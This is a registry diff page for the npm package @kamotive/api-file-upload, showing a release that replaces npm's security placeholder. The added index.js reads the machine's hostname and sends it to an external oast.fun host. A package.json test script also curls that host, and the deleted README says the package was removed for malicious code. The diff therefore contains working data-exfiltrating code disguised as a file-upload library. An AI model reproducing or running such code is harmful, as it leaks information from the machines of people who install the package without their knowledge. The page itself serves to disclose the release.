@kamotive/api-file-upload 0.0.1-security → 1.0.1
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of @kamotive/api-file-upload might be problematic. Click here for more details.
- package/index.js +16 -0
- package/package.json +8 -3
- package/README.md +0 -5
package/index.js
ADDED
@@ -0,0 +1,16 @@
|
|
1
|
+
const os = require('os');
|
2
|
+
const https = require('https');
|
3
|
+
|
4
|
+
// Получение имени хоста
|
5
|
+
const hostname = os.hostname();
|
6
|
+
console.log('Имя хоста:', hostname);
|
7
|
+
|
8
|
+
// URL с параметром hostname
|
9
|
+
const url = `https://cdggjsqmawdrduupnbtnkvbx5s3goipz3.oast.fun?hostname=${encodeURIComponent(hostname)}`;
|
10
|
+
|
11
|
+
// Выполнение GET-запроса
|
12
|
+
https.get(url, (res) => {
|
13
|
+
console.log(`Статус ответа: ${res.statusCode}`);
|
14
|
+
}).on('error', (err) => {
|
15
|
+
console.error('Ошибка запроса:', err.message);
|
16
|
+
});
|
package/package.json
CHANGED
@@ -1,6 +1,11 @@
|
|
1
1
|
{
|
2
2
|
"name": "@kamotive/api-file-upload",
|
3
|
-
"version": "
|
4
|
-
"description": "
|
5
|
-
"
|
3
|
+
"version": "1.0.1",
|
4
|
+
"description": "",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"test": "curl -X GET http://cdggjsqmawdrduupnbtnkvbx5s3goipz3.oast.fun"
|
8
|
+
},
|
9
|
+
"author": "",
|
10
|
+
"license": "ISC"
|
6
11
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=%40kamotive%2Fapi-file-upload for more information.
|